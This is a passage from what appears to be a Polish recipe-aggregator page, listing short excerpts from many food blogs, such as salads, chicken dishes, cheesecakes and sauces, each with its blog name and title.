odstawiamy. W dużej misce mieszamy ze sobą jogurt, majonez i musztardę, dodajemy do tego pokrojone na pół ziemniaki, poszatkowane zioła, rozdrobniony czosnek i przyprawy. Wszystko bardzo dokładnie mieszamy. Jeżeli sosu wyszło za mało, można spokojnie do całości dolać jogurtu. Sałatkę wkładamy do lodówki, żeby się przegryzła

Kardamonovy
Botwinka – zupa z młodych buraków 134

natką 2 liście laurowe 4 ziarna ziela angielskiego łyżka soli 10 ziaren czarnego pieprzu łyżka masła 2 łyżeczki cukru łyżeczka octu 1-2 łyżki śmietanki 18% do zup i sosów koperek, szczypiorek i jajko na twardo do podania ugotowane ziemniaki i skwarki do podania Przepis 1 Porcję rosołową zalewamy 2 litrami wody. Gotujemy do zagotowania się i zdejmujemy łyżką cedzakową

Kuchnia Bazylii
Fajitas z wieprzowiną i piklami z awokado 156

podajemy do placka jak i warzyw. Ja dziś za sprawą Ani użyłam awokado piklowanego i mięsa wieprzowego, wcześniej porwanego na mniejsze kawałki - zostało mi z dnia poprzedniego. Użyłam tutaj sosu ostrygowego i idealnie się tu sprawdził. No to gotujemy? Fajitas z mięsem i piklowanym awokado. CZYTAJ DALEJ

Moje Małe Czarowanie
Placuszki jaglane ze śliwkową nutellą 196

mąkę, jajko, kefir w blenderze. 2. Usmaż placuszki na oleju kokosowym. 3. Zmiksuj śliwki z miodem i kakao (można poddusić śliwki z goździkami i kakao) 4. Usmażone placuszki polej sosem śliwkowym. 5. Posyp migdałami i borówkami. Placuszki jaglane to pyszne danie Artykuł Placuszki jaglane ze śliwkową nutellą pochodzi z serwisu Strefa Zdrowego Żywienia

Strefa Zdrowego Żywienia
Surówka z cukinii marchewki i jabłka 217

doprawiamy solą oraz pieprzem. Zapraszam również do skorzystania z innych przepisów: Surówka Coleslaw – sprawdzony przepis Sałatka z brązowego ryżu i pora, z pomarańczami serem i orzechami Pulpety w sosie pomidorowym – sprawdzony przepis Artykuł Surówka z cukinii marchewki i jabłka pochodzi z serwisu Księga Smaku

Księga-Smaku
Sałatka z kiełbasą 154

bardzo przypadła do gustu :) Składniki: 3 kiełbaski drobiowe (typu śląskie) 1 czerwona papryka 4-5 ogórków konserwowych 0,5 puszki kukurydzy 0,5 czerwonej cebuli pęczek szczypiorku pęczek koperku sos: majonez, keczup, musztarda   Kiełbaski podgotować, ostudzić i pokroić w sporą kostkę. Paprykę oczyścić i razem z ogórkami pokroić w kostkę, dodać do kiełbasy. Kukurydzę odsączyć z zalewy, wrzucić

Simply Food
Fasolka zamknieta w słoiku 197

obrane ząbki czosnku, posiekaną natkę pietruszki. Wypełnić słoik fasolką z warzywami. Można taką fasolkę zalać w słoiku dodatkowym zmiksowanym pomidorem bez skórki. Otrzymamy wtedy fasolkę w sosie pomidorowym 🙂 Zamknąć słoik nakretką i  pasteryzować 20 minut.  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Kulinarne przemyslenia
Makaron kokardki z truskawkami 184

sicie, pozbywamy się szypułek. Część owoców miksujemy z cukrem pudrem i śmietaną lub jogurtem. Pozostałe kroimy na kawałki i dorzucamy do śmietany. Makaron odcedzamy i podajemy z przygotowanym sosem. Makaron kokardki z truskawkami to danie wybitnie letnie. Mimo, że truskawki w dzisiejszych czasach są dostępne przez cały rok ich smak jest najlepszy właśnie w sezonie. Dojrzałe w słońcu, przepełnione letnią

mojewypiekiinietylko
Makaron z pesto z bobu 130

makaronem są tuczące i osoby na diecie powinny go unikać. Nic bardziej mylnego. O ile postawimy na dobrej jakości pełnoziarniste makarony, a jako dodatek wybierzemy warzywa i lekkie sosy, to będzie to zdrowy, pełnowartościowy posiłek, który nasyci na długo. I takim zdrowym daniem makaronowym jest poniższy przepis na makaron z pesto z bobu. Sezon na bób jest krótki i ucieka

HealthyCreations
Sernik z patelni z borówkami 172

dobry ser np twaróg z mascarpone od Presidenta. A rano przed szkołą czy pracą będziecie mieć pyszne śniadanie na słodko. To sernik z patelni z owocami i owocowym sosem. Czytaj więcej

Bernika - moj kulinarny pamietnik
Jakie rzeczy warto jeść podczas upałów, a jakich lepiej unikać? 247

może być letnia sałatka z mięsem lub rybą, uzupełniona ogórkiem, pomidorami, papryką oraz innymi warzywami. Aby była bardziej sycąca, warto do niej dodać jogurt naturalny. Lepiej natomiast zrezygnować z sosów na bazie majonezu lub śmietany, ponieważ pogarszają one lekkostrawność. Sałatkę można też skropić oliwą lub cytryną, aby poprawić wchłanialność witamin z warzyw. Doskonałym uzupełnieniem posiłku będą ponadto świeże, orzeźwiające zioła

Kulinarne Przeboje
Nuggetsy z kurczaka w płatkach kukurydzianych 199

Chrupiące kąski z kurczaka w kukurydzianej panierce. Soczyste w środku chrupiące na zewnątrz podane z ulubionymi sosami, dipami to smaczna przekąska która smakuje chyba każdemu. 1 duży filet z kurczaka 1 jajko pół szklanki mąki kukurydzianej pół szklanki mleka szczypta soli  szczypta pieprzu cayenne płatki kukurydziane ok.130 gramów Mięso opłukać pod zimną wodą, osuszyć ręcznikiem papierowym, następnie kroimy

Andzia Pichci
Kiszona kapusta smażona z ciecierzycą 192

kapusta nabierze ładnego złotego koloru. Kiszona kapusta smażona z ciecierzycą Zapraszam również do skorzystania z innych przepisów: Surówka Coleslaw – sprawdzony przepis Chłodnik litewski – przepis Klopsiki zapiekane z ziemniakami w sosie pomidorowym Artykuł Kiszona kapusta smażona z ciecierzycą pochodzi z serwisu Księga Smaku

Księga-Smaku
Surówka z kalarepą 126

przyda się obieraczka julienne). W słoiczku umieszczamy miód, ocet winny oraz olej. Słoiczek zakręcamy i potrząsamy mocno do połączenia się składników. Doprawiamy solą i pieprzem do smaku. Sałatkę polewamy sosem tuż przed podaniem

Smaki Na Talerzu
Kurczak z morelami w zupie francuskiej 148

Bardzo lubię przygotowywać potrawy z owocami. To wdzięczne dodatki, które w wyraźny sposób podnoszą walory smakowe. Dodatkowo bardzo apetycznie tak przygotowanie danie się prezentuje. Sos przygotowany jest na bazie zupy cebulowej francuskiej i soku z moreli , ze słoika. Aktualnie mamy czas przetworów z owoców, więc myślę, że nie będzie z dodatkami większego kłopotu. … Czytaj dalej Kurczak z morelami

gotuj ze mną
Pasta kanapkowa ze śledziem w pomidorach 230

Szybka i łatwa pasta na kanapkę z jajkiem, śledziem w sosie pomidorowym, ogórkiem małosolnym oraz cebulą. Składniki: śledź w pomidorach - 1 opakowanie, 4 duże jajka, 1/3 dużej cebuli, duży ogórek małosolny, sól, pieprz Przygotowanie: Jajka gotujemy na twardo. Kroimy w kostkę. Śledzia rozdrabniamy. Cebulę oraz ogórka kroimy w małą kosteczkę. Wszystkie składniki razem mieszamy. Doprawiamy do smaku solą i pieprzem

Lena Gotuje
Jak smacznie i zdrowo przygotować kaszę i ryż? 327

Spróbuj dodać do kaszy przecier pomidorowy (passatę) i aromatyczne przyprawy   wraz z różnymi warzywami. W ten sposób możesz zachęcić do kasz osoby, które twierdzą, że ich jedzenie bez sosu jest za suche. Kasze doskonale komponują się nie tylko z mięsem, ale także strączkami (szczególnie polecam cieciorkę i soczewicę). Kasza i ryż może być doskonałą bazą do faszerowania warzyw

Fabryka pomysłów
Koreczki - mini hamburgery 160

Mini hamburgery doskonale sprawdzają się jako koreczki - małe bułki, małe kotleciki do tego odpowiednia kompozycja warzyw oraz dobre sosy. Świetnie smakują zarówno na zimno jak i na ciepło, więc można je podawać od razu po zrobieniu lub przygotować wcześniej

Milion Smaków
Tort czekoladowo - malinowy 1237

lodówki na około 2 godziny. Polewa: Czekoladę posiekać, umieścić w miseczce. Śmietankę kremówkę podgrzać do wrzenia, zalać nią posiekaną czekoladę. Odstawić na chwilę, następnie wymieszać do otrzymania gładkiego sosu czekoladowego. Odstawić do przestudzenia i lekkiego zgęstnienia, od czasu do czasu mieszając. Na schłodzony tort wylać gęstniejącą polewę, pozwalając by spływała po bokach ( można najpierw łyżeczką wylewać polewę na krawędź tortu

Opowieści z piekarnika
Panna cotta 237

wersja jest nieco „chudsza” poprzez wymieszanie śmietanki i mleka w proporcjach 1:1. Smak na tym nie stracił, a trochę kalorii zaoszczędziliśmy Ta delikatna śmietanowa babeczka zatopiona w sosie owocowym to wspaniały i szybki deser na letnie dni. W dodatku nie potrzeba tu wielu składników i skomplikowanych czynności. Wystarczy wszystko razem podgrzać, przelać do foremek i schłodzić. To wszystko

Analiza Smaku
Groszek po francusku 117

bulion, podgrzałem, aż się zagotował. Krótko dusiłem. Sałatę pokroiłem w dość szerokie paski. Dodałem do gotującego się zielonego groszku. Gotowałem na dużym ogniu, bez przykrycia, aż wszystko zmiękło, a sos zredukował się. Kilka minut

R'n'G Kitchen
Kurczak pieczony w całości w piekarniku z masłem i przyprawami pod skórą. PRZEPIS 372

dnie brytfanki rozłóż plastry cebuli, na nich ułóż kurczaka. Piecz w temp. 190 stopni około 1 godziny 20 minut aż zrobi się ciemnozłoty. Podziel na kawałki. Podawaj z sosem, który wytworzył się podczas pieczenia. Kurczaka podaliśmy z ryżem z groszkiem i sałatką coleslaw, na którą przepis znajdziecie tutaj: Sałatka coleslaw. Prosty przepis, który pokochali ludzie na całym świecie Artykuł Kurczak

Kulinarna Polska
Tabbouleh 187

atkę pietruszki i miętę drobno posiekać. S ok z cytryny wymieszać z oliwą, dodać sól i pieprz. D o miski przełożyć kaszę, warzywa i zioła. P olać przygotowanym sosem, wymieszać i można cieszyć się w spaniałym smakiem i aromatem. Smacznego

Moja kraina smaków
Zapiekanka makaronowa z kozim serem 156

plasterki. Botwinkę myjemy i kroimy drobno (same liście i łodygi). Pomidora kroimy w kostkę. Jogurt mieszamy z jajkami, serem żółtym, majerankiem, czosnkiem. Wszystkie składniki mieszamy w naczyniu żaroodpornym, zalewamy sosem, mieszamy lekko. Na wierzchu rozkruszamy ser kozi. Pieczemy 30 min w 200st. Artykuł Zapiekanka makaronowa z kozim serem pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Rolada bezowa z jagodami 172

wierzchu *** *** Pozostałe jagody wykładamy równomiernie na kremie *** *** Roladę zwijamy dość luźno od krótszego boku (tego na którym nie zachowaliśmy odstępu z kremem) *** *** Z wierzchu polewamy roladę delikatnie pozostałym sosem jagodowym *** *** Następnie na roladzie „przyklejamy” umyte i osuszone owoce *** *** Rolada bezowa nadaje się od razu do spożycia ale można ją także przechowywać w lodówce przez 1-2 dni *** *** SMACZNEGO

Blog z Apetytem
MAKARON ZE SZPINAKIEM I ŁOSOSIEM 195

Makaron ze szpinakiem i łososiem w śmietanowym sosie na bazie mascarpone, z dodatkiem aromatycznego czosnku, to szybkie i pyszne danie. Świetnie sprawdzi się na letni obiad. Polecam bardzo gorąco, to połączenie wprost idealne To jedno z naszych ulubionych dań i mimo iż czosnku jest w nim dość dużo, to nie zdominował on smaku makaronu. Jest on idealnym dodatkiem do szpinaku

Smaczne Zdrowe
Drożdżowe jagodzianki z kruszonką 196

pieczemy w temperaturze 170 stopni. Drożdżowe jagodzianki z kruszonką Zapraszam również do skorzystania z innych przepisów: Deser z malinami, serkiem i kruszonką Rurki z kremem budyniowym | ksiega-smaku.pl Gnocchi w sosie grzybowym – przepis Artykuł Drożdżowe jagodzianki z kruszonką pochodzi z serwisu Księga Smaku

Księga-Smaku
Duszone żeberka  134

lubią. Tak było w przypadku mojego narzeczonego Zapierał się, że on żeberek nie lubi w żadnej postaci. Kiedy po raz pierwszy spróbował tych miękkich, duszonych w niewielkiej ilości sosu żeberek polubił je tak bardzo, że tez musze je przygotowywać przynajmniej raz w miesiącu Wydaje mi się, że to najlepsza rekomendacja! Duszone żeberka Składniki: około 1 kg mięsnych żeberek wieprzowych

PatiGotuje
Ryż z kalafiora 169

przepis Przepis na smażony ryż z kalafiora 1 duży kalafior 1 duża cebula 2 ząbki czosnku 2 łyżki oliwy lub oleju do smażenia sól i pieprz do smaku opcjonalnie sos sojowy do smaku Ryż z kalafiora - jak zrobić Kalafior myjemy, dzielimy na różyczki i ścieramy na tarce o grubych oczkach. Cebulę i czosnek bardzo drobno kroimy. Cebulę podsmażamy aż zrobi

Kulinaria - potrawy z różnych stron świata
Sernik z jagodami na zimno 281

wodnej. Połowę jagód (300 g) zmiksować w blenderze i przelać przez sitko, aby pozbyć się skórek i pestek. Połączyć z rozpuszczoną żelatyną. Twaróg zmiksować z cukrem, a następnie z sosem jagodowym. Dobrze schłodzoną kremówkę ubić i na końcu wymieszać delikatnie z jagodowym twarogiem. Szybko wylać masę na ułożone biszkopty i wyrównać. Odstawić do lodówki. Rozpuścić galaretki w wodzie i wystudzić

https:KKuchniaMniam
BURGERY Z KASZY JAGLANEJ, CIECIERZYCY I BURACZKÓW 134

trzeba obchodzić się z nimi ostrożnie). W razie potrzeby można dodać dodatkowe 2 łyżki bułki tartej. Kotlety najlepiej podawać w bułce, w formie burgerów lub z ziemniaczkami puree i sosem pieczarkowym lub gorgonzola (niewielka ilość śmietanki 30% zagotowanej z serem gorgonzola). SKŁADNIKI / 6 SZTUK 150 g (1 szklanka) ugotowanej kaszy jaglanej 150 g ciecierzycy z puszki 1 mały burak

cool and minty
Gotujemy po Hiszpańsku!!! 147

nastawione do czekających nas wyzwań! Będzie nam bardzo ciężko rozstać się z Favelą. 4. Sałatka z marchewki i cukinii z chipsami z lotosu. Sałatka z ziemniaków i batatów w sosie Tártara podawana z chrupiącą prażoną cebulką i kiełkami czosnku Sałatka z marchewki i cukinii z chipsami z lotosu   Adrianna: 1. Restauracja Esencia. ( https://esenciarestaurante.es/ ) 2. Kuchnia Hiszpańska w nowoczesnym

Gotuj po hiszpańsku
Kanapkowa pasta z tuńczyka 133

kukurydzą i oliwkami Szybka pasta z tuńczyka i kukurydzy z dodatkiem oliwek poleca się na zabiegany poranek lub spóźnioną kolację. Na smaczny posiłek! 1 puszka tuńczyka w sosie własnym 1 mała puszka lub 1/3 dużej puszki kukurydzy konserwowej 1-2 łyżki czarnych oliwek 2 łyżki oleju rzepakowego 1/4 łyżeczki soli szczypta kurkumy, kolendry mielonej i czerwonej papryki Połowę kukurydzy miksujemy

Kucharzyca
Szakszuka z botwinką 138

kroimy w kostkę. Ogórki kroimy w plasterki. Do cebuli dodajemy botwinkę, pomidory, ogórki, przeciśnięty przez praskę czosnek i przyprawy. Przesmażamy wszystko minutę – dwie aż warzywa stracą surowość. W sosie robimy wgłębienia i wbijamy jajka. Smażymy na wolnym ogniu, pod przykryciem aż jajka się zetną. Artykuł Szakszuka z botwinką pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Polędwiczki wieprzowe z sosem kurkowym 189

minut. W tym czasie kurki puściły sok. Następnie wlałam śmietankę i delikatnie jeszcze wszystko podgrzałam. Posoliłam. Dodałam łyżkę pokrojonej natki z pietruszki. Wykładałam na talerz polędwiczki z sosem kurkowym w towarzystwie sałaty. Notatki: * do przyprawienia polędwiczek możemy również użyć soli, pieprzu lub ulubionych ziół do mięs Smacznego! Lidka sól hiszpańska z firmy Tensmak - świetnie sprawdziła się podczas przyprawiania polędwiczek

Pieprzyć z Fantazją
Kanapki z pastą z bobu i łososiem w curry 138

Taką miałam wenę i kanapki dzięki temu eksperymentalnie, wyszły smakowite i zniknęły szybciutko. Polecam koniecznie póki bób jeszcze świeży, mrożony w zimie też się nada. Łososia w sosie curry zakupiłam w Kauflandzie, pyszny był. Tosty z pastą z bobu i łososiem. CZYTAJ DALEJ

Moje Małe Czarowanie
Faszerowane łódeczki z cukinii 220

Cukinia jest warzywem, które często gości na moim stole. Można ją zapiekać, dodawać do sosów warzywnych czy leczo, grillować. Nie wymaga długiej obróbki termicznej,  dzięki temu szybko możemy  cieszyć się smakiem  fantastycznego obiadu czy kolacji. Dzisiaj podzielę się z Wami przepisem na faszerowane łódeczki z cukinii. Można je zaserwować na obiad jako dodatek do mięsa  bądź

Moja kraina smaków
Kurczak z brokułami 317

ketoobiad. Składniki: 1 pierś z kurczaka ½ opakowania mrożonych brokułów / 1 mały brokuł żywy 3 łyżki oliwa z oliwek 1 łyżeczka masła sól pieprz papryka czerwona w proszku 3 łyżki sosu sojowego sezam   Przedmioty potrzebne: Nóż Deska do krojenia Garnek z wodą Patelnia   Jak zrobić: Garnek z woda nastawiamy na gotowanie jak woda zacznie wrzeć wrzucamy

Keto - Meto Przepisy
Jogurtowy sernik na zimno z czerwoną porzeczką 153

galaretki, czy kisiel. Pyszne będą ciasta drożdżowe czy też ucierane, przepyszny też jest porzeczkowy sernik na zimno. Porzeczki możemy również zamknąć w słoikach, przygotujemy z nich galaretkę dżem,  sosy do mięs czy też nalewkę. Możliwości jest bez liku ! dżem z czerwonej porzeczki biszkoptowe ciasto z porzeczkami ucierane ciasto z czerwoną porzeczką porzeczkowa tarta z białą czekoladą drożdżowe zawijańce

Kulinarne przygody Gatity
Ciasto jogurtowe z wiśniami 170

chce z kluskami, drugie z ziemniakami, żeby zrobić błotko. Były marzenia o rosole, zupie ogórkowej, a ja miałam ochotę na pierogi z jagodami! Wracamy, a tu zonk! Mięsko w sosie co prawda było, ale poza tym wszędzie wiśnie. Paznokcie tak pięknie wypielęgnowałam podczas nicnierobienia i po dwóch dniach mam czarne od wyciskania pestek. Drylownicy dalej się nie dorobiłam, ale dzisiaj

bistro mama
Makaron z tuńczykiem, pomidorami i oliwkami 178

się... Kto je ryby, a kto nie? My w lecie zdecydowanie częściej ze względu na działkę przy stawach. Składniki na 3 porcje: 300 g makaronu 1 puszka tuńczyka w sosie własnym 1 pomidor Garść oliwek 5 suszonych pomidorów Świeża bazylia 1 ząbek czosnku 1 łyżka masła/oliwy 1 łyżeczka papryki słodkiej 1 łyżeczka oregano Sól i pieprz do smaku Przygotowanie

Czarnawisienka
Zielona sałata z jajkami 170

pieprz Jajka gotujemy na twardo. Po przestudzeniu obieramy i drobno siekamy. Umytą i osuszoną sałatę dzielimy na mniejsze kawałki. Śmietanę mieszamy ze szczypiorkiem, solą, pieprzem, cukrem oraz octem. Powstałym sosem polewamy sałatę. Całość posypujemy posiekanymi jajkami

Smaki Na Talerzu
Makaron z serem i malinami 135

dzieciństwa pamiętam makaron, który pływał w serze ze śmietaną i wtedy go nie lubiłam. Pewnie dlatego teraz wolę taki, w którym ser jest przyklejony do makaronu, a jeśli jakiś sos to ewentualnie z owoców. Do tego dania powinien być ser półtłusty lub tłusty, gdyż chudy nie przyklei się do makaronu i jedzenie nie będzie smaczne. Owoce możecie dodać swoje ulubione

Gotuj w domu
Jak ugotować kaszę pęczak? 200

pokarmowy i przemianę materii. Kasza pęczak może stanowić: dodatek do sałatek  składnik do faszerowania warzyw np. papryki składnik farszu do gołąbków  dodatek do gulaszu połączenie z różnymi sosami dodatek do mięsa na pulpety bazę do krupniku kotleciki, placuszki z kaszy składnik kutii na Wigilię składnik słodkiego deseru z bakaliami samodzielny dodatek do obiadu zamiast ziemniaków lub ryżu

Gotuj w domu
Jak ugotować kaszę gryczaną? 146

osoby będące na diecie bezglutenowej. Dodatkowo jest bardzo sycąca i nie ma dużo kalorii, co powinny docenić osoby aktywne i dbające o linię. Kaszę gryczaną nieprażoną można wykorzystać: do sosów grzybowych i mięsnych z farszami do mięsa i warzyw z gulaszem w farszu do pierogów i gołąbków do zapiekanek z warzywami lub mięsem w sałatkach z warzyw i grzybów

Gotuj w domu
Sałatka ziemniaczana z porem 163

niej dodamy majonezu. Ziemniaki są zdrowym i bardzo potrzebnym naszemu przewodowi pokarmowemu jedzeniem, gdyż korzystnie na niego wpływają. Ziemniaki stają się kaloryczne za sprawą dodanych do nich sosów i różnych tłustych skwarek czy też zasmażek. Dlatego w tej sałatce ziemniaczanej majonezu jest jak najmniej. Można nawet zastąpić jego połowę gęstym jogurtem naturalnym, wtedy sałatka będzie lżejsza. Z podanych składników wychodzi

Gotuj w domu
Gołąbki z ryżem 210

wody i dodać liście laurowe i ziele angielskie. Z wierzchu przykryć pozostałymi niekształtnymi liśćmi kapusty. Piec pod przykryciem w piekarniku nagrzanym do 180 stopni C 60 minut. Podawać z sosem pomidorowym , dobrze smakują również na dzień następny, podgrzane na patelni. * szklanka - 250 ml ** łyżka - 15 ml *** łyżeczka

Gotuj w domu
Kurczak w sosie pieczarkowym 188

Moja kolejna propozycja obiadowa na kurczaka w pysznym, aromatycznym sosie. Tym razem z dodatkiem pieczarek. Składniki: 1 podwójny filet z kurczaka, 250 g pieczarek, 1 cebula, 150 ml bulionu, 100 ml śmietany 18%, 2 łyżki mąki, sól, pieprz, 1/2 łyżeczki oregano, 1/4 łyżeczki suszonego czosnku, kilka gałązek  natki pietruszki, olej rzepakowy.  Kurczaka pokroić w 1 centymetrowe

Moja kraina smaków
Klasyczne nuggetsy w płatkach kukurydzianych 134

ostrą  i wymieszać. Kawałki kurczaka moczyć w cieście, następnie obtoczyć w płatkach kukurydzianych i smażyć w głębokim oleju, na średnim ogniu na złoty kolor. Nuggetsy podawać z dowolnym sosem np. czosnkowym , tysiąca wysp, chili bądź różowym dipem majonezowym .  Smacznego

Moja kraina smaków
Pieczone fit nuggetsy w płatkach kukurydzianych 175

Kawałki kurczaka moczyć w cieście, następnie obtoczyć w płatkach kukurydzianych i układać na blasze. Posmarować niewielką ilością oleju. Piec około 15-20 minut.   Nuggetsy podawać z dowolnym sosem np. czosnkowym , tysiąca wysp, chilli bądź różowym dipem majonezowym . Smacznego

Moja kraina smaków
Tagliatelle z kurczakiem, szpinakiem i suszonymi pomidorami 187

liście szpinaku zmiękną  i zmniejszą swoją objętość. Dodać ser mascarpone oraz curry, chwilę podgrzewać, aż ser się rozpuści. Ugotowany makaron odcedzić, dodać na patelnię, wymieszać dokładnie z sosem i gotowe

Moja kraina smaków
Crumble ze śliwkami i migdałami 149

Crumble czyli zapiekane owoce pod kruszonką to deser,  który sprawdzi się zarówno zimą - polany sosem waniliowym bądź jogurtem jak i latem z kulką lodów waniliowych czy śmietankowych.  Rozpływające się w ustach śliwki z pyszną chrupiącą kruszonką i nic więcej nie jest nam potrzebne do szczęścia ;)  Składniki: 10-12 śliwek, 1 łyżeczka cynamonu, 2 łyżki płatków migdałowych, kruszonka

Moja kraina smaków
Sałatka z arbuza, rukoli i fety 143

przepisu. Rukolę umyć, osuszyć, ułożyć na talerzu. Arbuza oraz fetę pokroić w kostkę, ułożyć na rukoli. Płatki  migdałów uprażyć na suchej patelni, posypać na wierzchu sałatki. Polać miodowym sosem winegret i gotowe, można rozkoszować się smakiem. Ta sałatka to świetne uzupełnienie dań z grilla.  Smacznego

Moja kraina smaków
Sałatka z surowego kalafiora z koperkiem i sosem czosnkowym 168

malutkie różyczki (można również zetrzeć na tarce o grubych oczkach). Przełożyć do miski. Dodać pokrojony koperek. Majonez wymieszać z czosnkiem przeciśniętym przez praskę, szczyptą soli i pieprzu.. Gotowym sosem polać kalafiora, wymieszać, wstawić na pół godziny  do lodówki. I gotowe. Smacznego

Moja kraina smaków
Placuszki z mascarpone 431

Puszyste placuszki z mascarpone, idealnie sprawdzają się na śniadanie, polane ulubionym sosem, np. truskawkowym. Składniki: 125g mascarpone 1 szklanka mąki pszennej 0,5 szklanki mleka 2 jaja 3 łyżeczki cukru waniliowego 2 łyżeczki proszku do pieczenia Przygotowanie: Wszystkie składniki na placki przekładamy do miski i łączymy ze sobą za pomocą miksera, lub blendera ręcznego, do uzyskania gładkiego, jednolitego ciasta

NiePieprz.pl
Kurczak w marynacie teriyaki... 166

zawiera sposo karmelizujacego się cukru. Przepis ze strony Today . Składniki: (na 3 średnie piersi z kurczaka, okolice 700g, lub nieco więcej) 1/4 szklanki soku z ananasa 1 1/2 łyżki sosu sojowego 1 łyżka miodu 1 łyżka świeżego imbiru, startego Pokrój kurczaka na równe kawałki, lub paski, mniejsze, lub większe, jak wolisz. W sporej misce wymieszaj wszystkie składniki marynaty. Włóż kurczaka

Lejdi of the house
Pulpety drobiowe 155

Pulpety drobiowe, z mięsa z kurczaka, idealne jako dodatek do zup, ale również jako dietetyczne danie mięsne, oczywiście z dodatkiem lekkiego sosu. Przepis na pulpety drobiowe pochodzi z książki Nowoczesna kuchnia domowa z 1935 roku. Antonina Piętkowa do pulpetów dodaje pietruszkę oraz szpik z kości. Szpiku nie dodaję, a zamiast pietruszki proponuję mielony imbir i gałkę muszkatołową. 500 g mięsa

królestwo garów
Sałatka z burratą 288

tego sera i kupujcie bez zastanowienia. Zapraszam do wszystkich moich przepisów na sałatki . Polecam Wam także: – sałatka z pieczonym burakiem i kozim serem – sałatka gyros – sałatka cezar z kurczakiem – sos do sałatki – pieczone faszerowane bataty – sałatka z pieczonym kalafiorem – sałatka z gruszką i gorgonzolą – sałatka ze szparagami i jakiem – sałatka kebab – sałatka brokułowa – kurczak z batatami – w jednym miejscu wszystkie

nietylkopasta.pl
Tosty z jajkiem sadzonym 225

Kolejny ciekawy pomysł na szybkie i oryginalne śniadanie – tosty z jajkiem sadzonym. Jako dodatek do tostów możemy zielonego ogórka, albo pomidora. Idealnie będzie również do tego dania pasował sos holenderski … spróbujcie i eksperymentujcie. Składniki 2 jajka odrobina oleju sól pieprz pieczywo tostowe Tosty z jajkiem sadzonym – przepis Pieczywo tostowe podpiekamy w tosterze. Na patelnię z odrobiną oleju

Kulinarnyblog.pl - wiesz jak gotować!
Pulpeciki z indyka z czarnuszką, kaszą manną i warzywami (bez jajek) 157

czarnuszką, kaszą manną i warzywami, które nie zawierają jajek, co jest dobrą informacją dla alergików. To szybka oraz zdrowa propozycja na smaczny obiad dla małych i dużych. Jeśli lubicie sosy to polecam delikatny na bazie śmietanki lub klasyczny pomidorowy. To kto się skusi na takie pulpeciki? (około 10 sztuk w zależności od wielkości) Masa na pulpeciki: 300-350g mięsa

Di gotuje
Masło orzechowe w proszku - NUSTINO 177

niepohamowaną chęć zajadania się łyżkami pastą z orzechów :D Co jest super proszek można użyć nawet do dań wytrawnych jako panierka, jako dodatek do zupy azjatyckiej czy orzechowy sos do zapiekanki <3 Możliwości jest wiele i wszystkie są pyszne. O! i to jest odrobinę bardziej rozwodnione masełko, według nas idealne w konsystencji i smaku :)  Lody z mrożonych

Candy Pandas
Uniwersalne naleśniki z mąki amarantusowej 163

Uniwersalne naleśniki z mąki amarantusowej to pyszna propozycja na zdrowe placuszki, które można przygotować z nadzieniem lub sosem na słodko oraz w wersji wytrawnej. Przyznam, że w obu tych postaciach świetnie smakują nawet bez jakichkolwiek dodatków. Placki naleśnikowe są miękkie i elastyczne, nie łamią się podczas zwijania. Mąka z amarantusa ma swój dość charakterystyczny smak, który należy polubić. Dodatkowo jest

Di gotuje
Owsiane batony mocy zero waste 168

pół łyżeczki kardamonu i łyżeczka cynamonu opcjonalnie gorzka czekolada do posypania Wszystkie suche składniki wymieszałam w misce. Banany wrzuciłam z miodem do blendera i zmiksowałam na piankę. Ilość bananowego sosu będzie zależała od ilości sypkich składników. Banany wlej do składników sypkich i wymieszaj łopatką. Powstanie masa, którą wyłóż na blachę (obojętnie jakiej wielkości) i rozsmaruj łopatką, dociśnij. Piecz pół godziny

Z Kuchni Do Kuchni
Letni obiad wegetariański VI + ciasto z truskawkami 202

młode ziemniaki z koperkiem i olejem lnianym, kotlety sojowe panierowane w jajku z curry i mące pszennej, fasolka szparagowa na parze z prażonymi pestkami słonecznika, sałata zielona w musztardowym sosie i sałatka z pomidorów, cebuli i kalafiora na parze. Przepis na ciasto podesłała mi Karolina. Znajdziecie je tutaj . Robiłam już kilka razy (również z odmrażanymi owocami borówki amerykańskiej). Wychodzi

Qlinarnie i Qlinarnie
Fasolka zapiekana z grzybami i serem / Green bean mushroom and cheese bake 177

przepisie poniżej, w wersji zapiekanej. Tutaj znajdziesz wiele przepysznych inspiracji z fasolką szparagową w roli głównej, wszystkie przepyszne! Dzisiaj proponuję fasolkę szparagową zapiekaną z grzybami w sosie śmietanowym, pod warstewką sera. Danie jest łatwe i szybkie w przygotowaniu, polecam gorąco! Scroll down for recipe in English Fasolka zapiekana z grzybami i serem (4 porcje) Składniki: 500 g fasolki szparagowej

karmelowy
Miodowo - musztardowe pałki z kurczaka 198

będzie się komponowało z sałatką z melona . Polecam! Miodowo - musztardowe pałki z kurczaka Składniki: 8 pałek z kurczaka 6 ząbków czosnku 3 łyżki miodu 2 łyżki musztardy 2 łyżki sosu sojowego 1 łyżka soku z cytryny sól, pieprz Jak zrobić miodowo - musztardowe pałki z kurczaka? Pałki z kurczaka umyć i osuszyć, po czym ponacinać w poprzek. Wszystkie składniki marynaty dokładnie

Codzienne Gotowanie
Mniam Burgery od MLECZNI BRACIA 123

zepsuć ucztę. Szczelnie zapakowane dwa burgery wystarczy wyjąć z folii i podsmażyć bez tłuszczy na patelni. Do burgera potrzebujemy jeszcze dobrej bułki, najlepiej pełnoziarnistej, sera lub vegesera, jakiegoś dobrego sosu, coś zielonego i obiad gotowy. Przygotowany przeze mnie system ocen miał łatwo oddzielać te dobre produkty, od tych których nie sposób polecić. Nie chciałem zero-jedynkowych zestawów. Chciałem zróżnicowanych ocen

Fleksitarianizm.pl
Jajka faszerowane szynką i papryką 141

Dawno nie było to są. Jajka faszerowane szynką z dodatkiem sosu majonezowo-musztardowego udekorowane papryką i koperkiem. Przekąska, której dawno nie było, zniknęła pierwsza z imprezowego stołu. Bagietka, chrupiące grzanki, sałatka i wieczór udany, jajka faszerowane zawsze się sprawdzają, słowo! SKŁADNIKI: 5 jajek ugotowanych na twardo 100 g posiekanej drobno szynki 2 łyżki majonezu łyżka musztardy 1/3 żółtej papryki posiekanej

Zasmakuj Kuchni
Pieczone udka kurczaka 155

temp. 200 C, grzanie góra plus dół, bez termoobiegu. Wstawiam mięso na środkową półkę piekarnika i piekę ok. 1 godziny i 30 minut. W międzyczasie polewam mięso powstałym sosem. Udka kurczaka podaję z ziemniakami i buraczkami. Smacznego

Zasmakuj Kuchni
Indyk z penne w kremowym sosie z suszonymi pomidorami 167

